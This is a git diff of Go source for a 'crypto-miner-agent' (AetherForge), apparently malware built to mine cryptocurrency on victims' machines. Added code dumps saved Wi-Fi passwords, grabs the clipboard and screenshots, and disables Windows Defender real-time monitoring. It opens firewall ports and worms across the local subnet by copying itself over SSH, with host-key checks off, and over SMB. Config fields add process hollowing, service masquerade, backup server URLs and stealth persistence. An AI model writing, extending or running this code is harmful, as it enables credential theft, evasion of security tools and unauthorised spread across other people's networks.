return true, false, formatCmdErr(err, out)
|
||||
}
|
||||
return true, true, string(out)
|
||||
}
|
||||
54
agent/client/commands_windows.go
Normal file
54
agent/client/commands_windows.go
Normal file
@@ -0,0 +1,54 @@
|
||||
//go:build windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (c *AgentClient) platformRecon(action, command string) (handled bool, success bool, message string) {
|
||||
var out []byte
|
||||
var err error
|
||||
switch action {
|
||||
case "ps":
|
||||
out, err = exec.Command("tasklist").CombinedOutput()
|
||||
case "netstat":
|
||||
out, err = exec.Command("netstat", "-ano").CombinedOutput()
|
||||
case "users":
|
||||
out, err = exec.Command("cmd.exe", "/C", "net user & echo. & whoami /all").CombinedOutput()
|
||||
case "software":
|
||||
out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
|
||||
"Get-ItemProperty 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*','HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*' -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName } | Select-Object DisplayName, DisplayVersion | Sort-Object DisplayName | Format-Table -AutoSize").CombinedOutput()
|
||||
case "screenshot":
|
||||
out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
|
||||
"Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $s=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $b=New-Object Drawing.Bitmap $s.Width,$s.Height; $g=[Drawing.Graphics]::FromImage($b); $g.CopyFromScreen($s.Location,[Drawing.Point]::Empty,$s.Size); $ms=New-Object IO.MemoryStream; $b.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg); [Convert]::ToBase64String($ms.ToArray())").CombinedOutput()
|
||||
if err == nil {
|
||||
return true, true, strings.TrimSpace(string(out))
|
||||
}
|
||||
return true, false, formatCmdErr(err, out)
|
||||
case "sysinfo":
|
||||
out, err = exec.Command("systeminfo").CombinedOutput()
|
||||
case "ipconfig":
|
||||
out, err = exec.Command("ipconfig", "/all").CombinedOutput()
|
||||
case "clipboard":
|
||||
out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", "Get-Clipboard").CombinedOutput()
|
||||
if err == nil {
|
||||
return true, true, strings.TrimSpace(string(out))
|
||||
}
|
||||
return true, false, formatCmdErr(err, out)
|
||||
case "wifi":
|
||||
script := `$p=(netsh wlan show profiles)|Select-String "All User Profile"|%{$_.Line.Split(":")[1].Trim()}; foreach($i in $p){ $k=(netsh wlan show profile name="$i" key=clear)|Select-String "Key Content"|%{$_.Line.Split(":")[1].Trim()}; if($k){"$i : $k"}else{"$i : <No Password>"} }`
|
||||
out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
|
||||
if err == nil {
|
||||
return true, true, strings.TrimSpace(string(out))
|
||||
}
|
||||
return true, false, formatCmdErr(err, out)
|
||||
default:
|
||||
return false, false, ""
|
||||
}
|
||||
if err != nil {
|
||||
return true, false, formatCmdErr(err, out)
|
||||
}
|
||||
return true, true, string(out)
|
||||
}
|
||||
@@ -88,3 +88,11 @@ func (m *MeshNode) BroadcastToMesh(msg Message) {
|
||||
s.Close()
|
||||
}
|
||||
}
|
||||
|
||||
// PeerCount returns the number of connected mesh peers.
|
||||
func (m *MeshNode) PeerCount() int {
|
||||
if m.host == nil {
|
||||
return 0
|
||||
}
|
||||
return len(m.host.Network().Peers())
|
||||
}
|
||||
|
||||
@@ -11,3 +11,5 @@ func (m *MeshNode) Start() error { return nil }
|
||||
|
||||
func (m *MeshNode) BroadcastToMesh(_ Message) {}
|
||||
|
||||
func (m *MeshNode) PeerCount() int { return 0 }
|
||||
|
||||
|
||||
@@ -22,6 +22,14 @@ type AuthPayload struct {
|
||||
AIEnabled bool `json:"ai_enabled"`
|
||||
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
|
||||
AIModel string `json:"ai_model"`
|
||||
HolePunch bool `json:"hole_punch"`
|
||||
RemoteAggressive bool `json:"remote_aggressive"`
|
||||
MeshP2P bool `json:"mesh_p2p"`
|
||||
AutoSpread bool `json:"auto_spread"`
|
||||
ProcessHollowing bool `json:"process_hollowing"`
|
||||
Platform string `json:"platform"`
|
||||
Arch string `json:"arch"`
|
||||
OSVersion string `json:"os_version"`
|
||||
}
|
||||
|
||||
type AuthResponse struct {
|
||||
|
||||
@@ -43,5 +43,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
ProcessHollowing: false,
|
||||
MeshP2P: false,
|
||||
AutoSpread: false,
|
||||
HolePunch: false,
|
||||
RemoteAggressive: false,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -50,6 +50,14 @@ type BuiltinConfig struct {
|
||||
ProcessHollowing bool
|
||||
MeshP2P bool
|
||||
AutoSpread bool
|
||||
HolePunch bool
|
||||
RemoteAggressive bool
|
||||
// Backup server URLs — tried in order if primary fails
|
||||
BackupServerURLs []string
|
||||
// Windows service masquerade (ignored on other OSes)
|
||||
ServiceMasquerade bool
|
||||
ServiceName string
|
||||
ServiceDonor string
|
||||
}
|
||||
|
||||
type RuntimeConfig struct {
|
||||
|
||||
@@ -4,6 +4,7 @@ import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
)
|
||||
|
||||
@@ -33,29 +34,57 @@ func (c RuntimeConfig) InstallDirectory() (string, error) {
|
||||
func resolveInstallBase(baseType, customBase string) (string, error) {
|
||||
switch strings.ToLower(strings.TrimSpace(baseType)) {
|
||||
case "", "localappdata":
|
||||
if runtime.GOOS == "windows" {
|
||||
return requireEnv("LOCALAPPDATA")
|
||||
}
|
||||
return xdgDataHome()
|
||||
case "appdata":
|
||||
if runtime.GOOS == "windows" {
|
||||
return requireEnv("APPDATA")
|
||||
}
|
||||
return xdgDataHome()
|
||||
case "programdata":
|
||||
if runtime.GOOS == "windows" {
|
||||
return requireEnv("ProgramData")
|
||||
case "userprofile":
|
||||
}
|
||||
return xdgDataHome()
|
||||
case "userprofile", "home":
|
||||
if runtime.GOOS == "windows" {
|
||||
return requireEnv("USERPROFILE")
|
||||
}
|
||||
return requireEnv("HOME")
|
||||
case "xdg_data_home":
|
||||
return xdgDataHome()
|
||||
case "temp":
|
||||
if v := os.Getenv("TEMP"); v != "" {
|
||||
return v, nil
|
||||
}
|
||||
if v := os.Getenv("TMPDIR"); v != "" {
|
||||
return v, nil
|
||||
}
|
||||
return requireEnv("TMP")
|
||||
case "custom":
|
||||
custom := strings.TrimSpace(customBase)
|
||||
if custom == "" {
|
||||
return "", fmt.Errorf("custom install base path is required when install_base is custom")
|
||||
}
|
||||
return expandWindowsEnv(custom), nil
|
||||
return expandEnvPath(custom), nil
|
||||
default:
|
||||
return "", fmt.Errorf("unsupported install base: %s", baseType)
|
||||
}
|
||||
}
|
||||
|
||||
func xdgDataHome() (string, error) {
|
||||
if v := os.Getenv("XDG_DATA_HOME"); v != "" {
|
||||
return v, nil
|
||||
}
|
||||
home, err := requireEnv("HOME")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(home, ".local", "share"), nil
|
||||
}
|
||||
|
||||
func expandInstallTokens(path, workerName, buildID, processName string) string {
|
||||
shortBuild := buildID
|
||||
if len(shortBuild) > 8 {
|
||||
@@ -90,12 +119,17 @@ func requireEnv(key string) (string, error) {
|
||||
return value, nil
|
||||
}
|
||||
|
||||
func expandWindowsEnv(path string) string {
|
||||
func expandEnvPath(path string) string {
|
||||
out := path
|
||||
for _, key := range []string{
|
||||
"LOCALAPPDATA", "APPDATA", "ProgramData", "USERPROFILE", "TEMP", "TMP", "WINDIR", "SystemRoot",
|
||||
"HOME", "XDG_DATA_HOME", "TMPDIR",
|
||||
} {
|
||||
out = strings.ReplaceAll(out, "%"+key+"%", os.Getenv(key))
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func expandWindowsEnv(path string) string {
|
||||
return expandEnvPath(path)
|
||||
}
|
||||
|
||||
13
agent/deploy/aggressive_stub.go
Normal file
13
agent/deploy/aggressive_stub.go
Normal file
@@ -0,0 +1,13 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import "fmt"
|
||||
|
||||
func DisableDefenderRealtime() (string, error) {
|
||||
return "", fmt.Errorf("defender control is Windows-only")
|
||||
}
|
||||
|
||||
func OpenFirewallPort(_ int, _ string) (string, error) {
|
||||
return "", fmt.Errorf("firewall port open is Windows-only")
|
||||
}
|
||||
41
agent/deploy/aggressive_windows.go
Normal file
41
agent/deploy/aggressive_windows.go
Normal file
@@ -0,0 +1,41 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// DisableDefenderRealtime turns off Windows Defender real-time monitoring (requires admin).
|
||||
func DisableDefenderRealtime() (string, error) {
|
||||
script := `Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction Stop`
|
||||
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
|
||||
if err != nil {
|
||||
return string(out), fmt.Errorf("defender disable failed (admin required?): %w", err)
|
||||
}
|
||||
return strings.TrimSpace(string(out)) + "\nDefender real-time monitoring disabled.", nil
|
||||
}
|
||||
|
||||
// OpenFirewallPort adds an inbound TCP allow rule for port.
|
||||
func OpenFirewallPort(port int, name string) (string, error) {
|
||||
if port <= 0 || port > 65535 {
|
||||
return "", fmt.Errorf("invalid port %d", port)
|
||||
}
|
||||
if name == "" {
|
||||
name = "AetherForge Remote"
|
||||
}
|
||||
script := fmt.Sprintf(`
|
||||
$name = '%s'
|
||||
$port = %d
|
||||
if (-not (Get-NetFirewallRule -DisplayName $name -ErrorAction SilentlyContinue)) {
|
||||
New-NetFirewallRule -DisplayName $name -Direction Inbound -Protocol TCP -LocalPort $port -Action Allow -Profile Any | Out-Null
|
||||
}
|
||||
`, strings.ReplaceAll(name, `'`, `''`), port)
|
||||
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
|
||||
if err != nil {
|
||||
return string(out), err
|
||||
}
|
||||
return fmt.Sprintf("Firewall inbound TCP %d allowed (%s)", port, name), nil
|
||||
}
|
||||
@@ -1,3 +1,5 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
@@ -37,6 +39,17 @@ func StartAutoSpreader(cfg config.RuntimeConfig) {
|
||||
log.Printf("[autospread] Lateral movement module initialized and active")
|
||||
}
|
||||
|
||||
// RunSpreadOnce triggers an immediate lateral movement sweep (non-blocking).
|
||||
func RunSpreadOnce(cfg config.RuntimeConfig) string {
|
||||
go spreadToLocalSubnet(cfg)
|
||||
return "lateral spread sweep started on local /24 subnets (SMB/SCM)"
|
||||
}
|
||||
|
||||
// spreadSem limits concurrent spread goroutines to 16 to prevent a goroutine
|
||||
// storm on /24 sweeps (M20). Each attempt can block for several seconds on
|
||||
// SMB/sc.exe, so without a cap all 254 run concurrently.
|
||||
var spreadSem = make(chan struct{}, 16)
|
||||
|
||||
func spreadToLocalSubnet(cfg config.RuntimeConfig) {
|
||||
ips := getLocalIPs()
|
||||
for _, ip := range ips {
|
||||
@@ -44,14 +57,16 @@ func spreadToLocalSubnet(cfg config.RuntimeConfig) {
|
||||
if subnet == "" {
|
||||
continue
|
||||
}
|
||||
// Sweep the /24 subnet
|
||||
for i := 1; i < 255; i++ {
|
||||
target := fmt.Sprintf("%s.%d", subnet, i)
|
||||
if target == ip {
|
||||
continue // Skip self
|
||||
continue
|
||||
}
|
||||
go attemptSpread(cfg, target)
|
||||
time.Sleep(500 * time.Millisecond) // Pace the scan to avoid massive traffic bursts
|
||||
spreadSem <- struct{}{} // acquire slot
|
||||
go func(t string) {
|
||||
defer func() { <-spreadSem }() // release slot when done
|
||||
attemptSpread(cfg, t)
|
||||
}(target)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
128
agent/deploy/autospread_unix.go
Normal file
128
agent/deploy/autospread_unix.go
Normal file
@@ -0,0 +1,128 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"net"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// StartAutoSpreader launches SSH-based lateral deployment on Unix hosts.
|
||||
func StartAutoSpreader(cfg config.RuntimeConfig) {
|
||||
if !cfg.AutoSpread {
|
||||
return
|
||||
}
|
||||
go func() {
|
||||
time.Sleep(10 * time.Minute)
|
||||
ticker := time.NewTicker(4 * time.Hour)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
spreadUnixSubnet(cfg)
|
||||
<-ticker.C
|
||||
}
|
||||
}()
|
||||
log.Printf("[autospread] Unix SSH spread module active")
|
||||
}
|
||||
|
||||
// RunSpreadOnce triggers an immediate SSH sweep (non-blocking).
|
||||
func RunSpreadOnce(cfg config.RuntimeConfig) string {
|
||||
go spreadUnixSubnet(cfg)
|
||||
return "unix lateral spread sweep started (SSH :22)"
|
||||
}
|
||||
|
||||
// spreadSem limits concurrent SSH spread goroutines to 16 (M20)
|
||||
var spreadSem = make(chan struct{}, 16)
|
||||
|
||||
func spreadUnixSubnet(cfg config.RuntimeConfig) {
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
ips := getLocalIPs()
|
||||
for _, ip := range ips {
|
||||
subnet := getSubnet(ip)
|
||||
if subnet == "" {
|
||||
continue
|
||||
}
|
||||
for i := 1; i < 255; i++ {
|
||||
target := fmt.Sprintf("%s.%d", subnet, i)
|
||||
if target == ip {
|
||||
continue
|
||||
}
|
||||
spreadSem <- struct{}{} // acquire slot
|
||||
go func(t string) {
|
||||
defer func() { <-spreadSem }()
|
||||
attemptSSHSpread(cfg, t, exePath)
|
||||
}(target)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
|
||||
conn, err := net.DialTimeout("tcp", target+":22", 2*time.Second)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
conn.Close()
|
||||
|
||||
remoteName := sanitizeName(cfg.WorkerName) + "-sync"
|
||||
remotePath := filepath.ToSlash(filepath.Join("/tmp", remoteName))
|
||||
scp := exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, "root@"+target+":"+remotePath)
|
||||
if err := scp.Run(); err != nil {
|
||||
user := os.Getenv("USER")
|
||||
if user == "" {
|
||||
user = "ubuntu"
|
||||
}
|
||||
scp = exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, user+"@"+target+":"+remotePath)
|
||||
if err := scp.Run(); err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
start := exec.Command("ssh", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", target,
|
||||
fmt.Sprintf("chmod +x %s && nohup %s --spread-install >/dev/null 2>&1 &", remotePath, remotePath))
|
||||
if err := start.Run(); err == nil {
|
||||
log.Printf("[autospread] deployed to %s via SSH", target)
|
||||
}
|
||||
}
|
||||
|
||||
func getLocalIPs() []string {
|
||||
var ips []string
|
||||
ifaces, err := net.Interfaces()
|
||||
if err != nil {
|
||||
return ips
|
||||
}
|
||||
for _, i := range ifaces {
|
||||
if i.Flags&net.FlagUp == 0 || i.Flags&net.FlagLoopback != 0 {
|
||||
continue
|
||||
}
|
||||
addrs, err := i.Addrs()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, a := range addrs {
|
||||
if ipnet, ok := a.(*net.IPNet); ok {
|
||||
if ip4 := ipnet.IP.To4(); ip4 != nil && !ip4.IsLoopback() {
|
||||
ips = append(ips, ip4.String())
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return ips
|
||||
}
|
||||
|
||||
func getSubnet(ip string) string {
|
||||
parts := strings.Split(ip, ".")
|
||||
if len(parts) != 4 {
|
||||
return ""
|
||||
}
|
||||
return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2])
|
||||
}
|
||||
195
agent/deploy/common.go
Normal file
195
agent/deploy/common.go
Normal file
@@ -0,0 +1,195 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
const (
|
||||
runFlag = "--run"
|
||||
spreadFlag = "--spread-install"
|
||||
backupSuffix = ".bak"
|
||||
)
|
||||
|
||||
// BinaryExt returns the executable suffix for the current OS.
|
||||
func BinaryExt() string {
|
||||
if runtime.GOOS == "windows" {
|
||||
return ".exe"
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// BinaryName returns the forged process filename on disk.
|
||||
func BinaryName(cfg config.RuntimeConfig) string {
|
||||
return cfg.EffectiveProcessName() + BinaryExt()
|
||||
}
|
||||
|
||||
// InstalledBinaryPath is the full path to the installed worker binary.
|
||||
func InstalledBinaryPath(cfg config.RuntimeConfig) (string, error) {
|
||||
dir, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(dir, BinaryName(cfg)), nil
|
||||
}
|
||||
|
||||
func PersistenceKeyName(cfg config.RuntimeConfig) string {
|
||||
if cfg.StealthMode {
|
||||
return cfg.EffectiveProcessName()
|
||||
}
|
||||
name := sanitizeName(cfg.WorkerName)
|
||||
if name == "" {
|
||||
return cfg.EffectiveProcessName()
|
||||
}
|
||||
return "CryptoMiner-" + name
|
||||
}
|
||||
|
||||
func sanitizeName(name string) string {
|
||||
replacer := strings.NewReplacer(" ", "-", "/", "-", "\\", "-", ":", "-", "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "")
|
||||
return replacer.Replace(strings.TrimSpace(name))
|
||||
}
|
||||
|
||||
func samePath(a, b string) bool {
|
||||
a = filepath.Clean(a)
|
||||
b = filepath.Clean(b)
|
||||
if runtime.GOOS == "windows" {
|
||||
if strings.EqualFold(a, b) {
|
||||
return true
|
||||
}
|
||||
} else if a == b {
|
||||
return true
|
||||
}
|
||||
aAbs, errA := filepath.Abs(a)
|
||||
bAbs, errB := filepath.Abs(b)
|
||||
if errA != nil || errB != nil {
|
||||
return false
|
||||
}
|
||||
if runtime.GOOS == "windows" {
|
||||
return strings.EqualFold(aAbs, bAbs)
|
||||
}
|
||||
return aAbs == bAbs
|
||||
}
|
||||
|
||||
func copyFile(src, dest string) error {
|
||||
in, err := os.Open(src)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer in.Close()
|
||||
|
||||
out, err := os.OpenFile(dest, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer out.Close()
|
||||
|
||||
_, err = io.Copy(out, in)
|
||||
return err
|
||||
}
|
||||
|
||||
func relaunch(exePath, logPath string) error {
|
||||
cmd := exec.Command(exePath, runFlag)
|
||||
cmd.Dir = filepath.Dir(exePath)
|
||||
if logPath != "" {
|
||||
cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
|
||||
}
|
||||
applyDetachedStart(cmd)
|
||||
return cmd.Start()
|
||||
}
|
||||
|
||||
func resolveInstallDirWithFallback(cfg config.RuntimeConfig) (string, error) {
|
||||
dir, err := cfg.InstallDirectory()
|
||||
if err == nil {
|
||||
return dir, nil
|
||||
}
|
||||
|
||||
fallbacks := installBaseFallbacks(cfg)
|
||||
seen := map[string]bool{strings.ToLower(cfg.InstallBase): true}
|
||||
for _, base := range fallbacks {
|
||||
if seen[base] {
|
||||
continue
|
||||
}
|
||||
seen[base] = true
|
||||
try := cfg
|
||||
try.InstallBase = base
|
||||
dir, tryErr := try.InstallDirectory()
|
||||
if tryErr == nil {
|
||||
return dir, nil
|
||||
}
|
||||
}
|
||||
return "", err
|
||||
}
|
||||
|
||||
func installBaseFallbacks(cfg config.RuntimeConfig) []string {
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
return []string{"localappdata", "appdata", "temp"}
|
||||
case "darwin":
|
||||
return []string{"home", "xdg_data_home", "tmp"}
|
||||
default:
|
||||
return []string{"xdg_data_home", "home", "tmp"}
|
||||
}
|
||||
}
|
||||
|
||||
func InstallDir(workerName, buildID string) (string, error) {
|
||||
base := "localappdata"
|
||||
if runtime.GOOS != "windows" {
|
||||
base = "xdg_data_home"
|
||||
}
|
||||
return config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
WorkerName: workerName,
|
||||
BuildID: buildID,
|
||||
InstallBase: base,
|
||||
InstallRelativePath: config.DefaultInstallRelativePath,
|
||||
},
|
||||
}.InstallDirectory()
|
||||
}
|
||||
|
||||
func saveBackup(installedBin string) error {
|
||||
backup := installedBin + backupSuffix
|
||||
if _, err := os.Stat(backup); err == nil {
|
||||
return nil
|
||||
}
|
||||
return copyFile(installedBin, backup)
|
||||
}
|
||||
|
||||
// WantsSpreadInstall reports --spread-install CLI flag.
|
||||
func WantsSpreadInstall() bool {
|
||||
return wantsSpreadInstall()
|
||||
}
|
||||
|
||||
func wantsSpreadInstall() bool {
|
||||
for _, arg := range os.Args[1:] {
|
||||
if arg == spreadFlag {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func isRunMode() bool {
|
||||
for _, arg := range os.Args[1:] {
|
||||
if arg == runFlag {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func writeInstalledMarker(cfg config.RuntimeConfig, installDir, installedBin, agentID string) {
|
||||
if cfg.StealthMode {
|
||||
return
|
||||
}
|
||||
_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
|
||||
"worker=%s\nbuild=%s\nserver=%s\nagent_id=%s\nplatform=%s\narch=%s\ninstall_dir=%s\ninstalled_bin=%s\n",
|
||||
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, agentID, runtime.GOOS, runtime.GOARCH, installDir, installedBin,
|
||||
)), 0644)
|
||||
}
|
||||
18
agent/deploy/firewall_darwin.go
Normal file
18
agent/deploy/firewall_darwin.go
Normal file
@@ -0,0 +1,18 @@
|
||||
//go:build darwin
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"log"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func platformEnsureFirewall(cfg config.RuntimeConfig, binPath string) {
|
||||
log.Printf("[firewall] macOS app firewall is coarse; worker path registered: %s", binPath)
|
||||
_ = cfg
|
||||
}
|
||||
|
||||
func platformRemoveFirewall(cfg config.RuntimeConfig) {
|
||||
_ = cfg
|
||||
}
|
||||
36
agent/deploy/firewall_linux.go
Normal file
36
agent/deploy/firewall_linux.go
Normal file
@@ -0,0 +1,36 @@
|
||||
//go:build linux
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os/exec"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func platformEnsureFirewall(cfg config.RuntimeConfig, binPath string) {
|
||||
if strings.TrimSpace(binPath) == "" {
|
||||
return
|
||||
}
|
||||
port := 8989
|
||||
script := fmt.Sprintf(`
|
||||
if command -v ufw >/dev/null 2>&1; then
|
||||
ufw allow out to any port %d comment 'AetherForge' 2>/dev/null || true
|
||||
fi
|
||||
`, port)
|
||||
cmd := exec.Command("/bin/sh", "-c", script)
|
||||
if err := cmd.Run(); err != nil {
|
||||
log.Printf("[firewall] ufw rule failed: %v", err)
|
||||
return
|
||||
}
|
||||
log.Printf("[firewall] linux firewall rule attempted for %s", binPath)
|
||||
_ = strconv.Itoa(port)
|
||||
}
|
||||
|
||||
func platformRemoveFirewall(cfg config.RuntimeConfig) {
|
||||
_ = cfg
|
||||
}
|
||||
15
agent/deploy/firewall_platform_windows.go
Normal file
15
agent/deploy/firewall_platform_windows.go
Normal file
@@ -0,0 +1,15 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func platformEnsureFirewall(cfg config.RuntimeConfig, binPath string) {
|
||||
EnsureFirewallExclusionWindows(cfg, binPath)
|
||||
}
|
||||
|
||||
func platformRemoveFirewall(cfg config.RuntimeConfig) {
|
||||
RemoveFirewallExclusionWindows(cfg)
|
||||
}
|
||||
14
agent/deploy/firewall_stub.go
Normal file
14
agent/deploy/firewall_stub.go
Normal file
@@ -0,0 +1,14 @@
|
||||
//go:build !windows && !linux && !darwin
|
||||
|
||||
package deploy
|
||||
|
||||
import "crypto-miner-agent/config"
|
||||
|
||||
func platformEnsureFirewall(cfg config.RuntimeConfig, binPath string) {
|
||||
_ = cfg
|
||||
_ = binPath
|
||||
}
|
||||
|
||||
func platformRemoveFirewall(cfg config.RuntimeConfig) {
|
||||
_ = cfg
|
||||
}
|
||||
@@ -13,9 +13,8 @@ import (
|
||||
|
||||
const firewallRulePrefix = "AetherForge"
|
||||
|
||||
// EnsureFirewallExclusion registers Windows Firewall allow rules for the installed miner binary.
|
||||
// Requires administrator privileges on many systems; failures are logged and ignored.
|
||||
func EnsureFirewallExclusion(cfg config.RuntimeConfig, exePath string) {
|
||||
// EnsureFirewallExclusionWindows registers Windows Firewall allow rules for the installed miner binary.
|
||||
func EnsureFirewallExclusionWindows(cfg config.RuntimeConfig, exePath string) {
|
||||
if !cfg.FirewallExclusion {
|
||||
return
|
||||
}
|
||||
@@ -52,8 +51,8 @@ if (-not (Get-NetFirewallRule -DisplayName $out -ErrorAction SilentlyContinue))
|
||||
log.Printf("[firewall] Windows Firewall allow rules registered for %s", exePath)
|
||||
}
|
||||
|
||||
// RemoveFirewallExclusion deletes firewall rules created for this worker.
|
||||
func RemoveFirewallExclusion(cfg config.RuntimeConfig) {
|
||||
// RemoveFirewallExclusionWindows deletes firewall rules created for this worker.
|
||||
func RemoveFirewallExclusionWindows(cfg config.RuntimeConfig) {
|
||||
ruleBase := firewallRuleBaseName(cfg)
|
||||
for _, name := range []string{ruleBase + " In", ruleBase + " Out"} {
|
||||
script := fmt.Sprintf(`Remove-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue`, strings.ReplaceAll(name, `'`, `''`))
|
||||
|
||||
@@ -9,8 +9,6 @@ import (
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
const backupSuffix = ".bak"
|
||||
|
||||
// StartWatchdog keeps persistence and the installed binary healthy.
|
||||
func StartWatchdog(cfg config.RuntimeConfig) {
|
||||
if !cfg.SelfHealing {
|
||||
@@ -32,12 +30,12 @@ func maintainInstall(cfg config.RuntimeConfig) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe")
|
||||
backupExe := installedExe + backupSuffix
|
||||
installedBin := filepath.Join(installDir, BinaryName(cfg))
|
||||
backupBin := installedBin + backupSuffix
|
||||
|
||||
if _, err := os.Stat(installedExe); os.IsNotExist(err) {
|
||||
if _, statErr := os.Stat(backupExe); statErr == nil {
|
||||
if copyErr := copyFile(backupExe, installedExe); copyErr != nil {
|
||||
if _, err := os.Stat(installedBin); os.IsNotExist(err) {
|
||||
if _, statErr := os.Stat(backupBin); statErr == nil {
|
||||
if copyErr := copyFile(backupBin, installedBin); copyErr != nil {
|
||||
return copyErr
|
||||
}
|
||||
log.Printf("[watchdog] restored missing binary from backup")
|
||||
@@ -45,25 +43,17 @@ func maintainInstall(cfg config.RuntimeConfig) error {
|
||||
}
|
||||
|
||||
if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" {
|
||||
if err := configureAutoStart(cfg, installedExe); err != nil {
|
||||
if err := configureAutoStart(cfg, installedBin); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if cfg.RunAs == "scheduled" || cfg.RunAs == "service" {
|
||||
if err := createScheduledTask(cfg, installedExe); err != nil {
|
||||
if err := configureRunMode(cfg, installedBin); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if cfg.FirewallExclusion {
|
||||
EnsureFirewallExclusion(cfg, installedExe)
|
||||
EnsureFirewallExclusion(cfg, installedBin)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func saveBackup(installedExe string) error {
|
||||
backup := installedExe + backupSuffix
|
||||
if _, err := os.Stat(backup); err == nil {
|
||||
return nil
|
||||
}
|
||||
return copyFile(installedExe, backup)
|
||||
}
|
||||
|
||||
12
agent/deploy/hollow_stub_all.go
Normal file
12
agent/deploy/hollow_stub_all.go
Normal file
@@ -0,0 +1,12 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import "fmt"
|
||||
|
||||
// RunHollowed is only available on Windows with the hollow build tag.
|
||||
func RunHollowed(targetExe string, payload []byte) error {
|
||||
_ = targetExe
|
||||
_ = payload
|
||||
return fmt.Errorf("process hollowing not available on this platform")
|
||||
}
|
||||
@@ -29,20 +29,92 @@ const (
|
||||
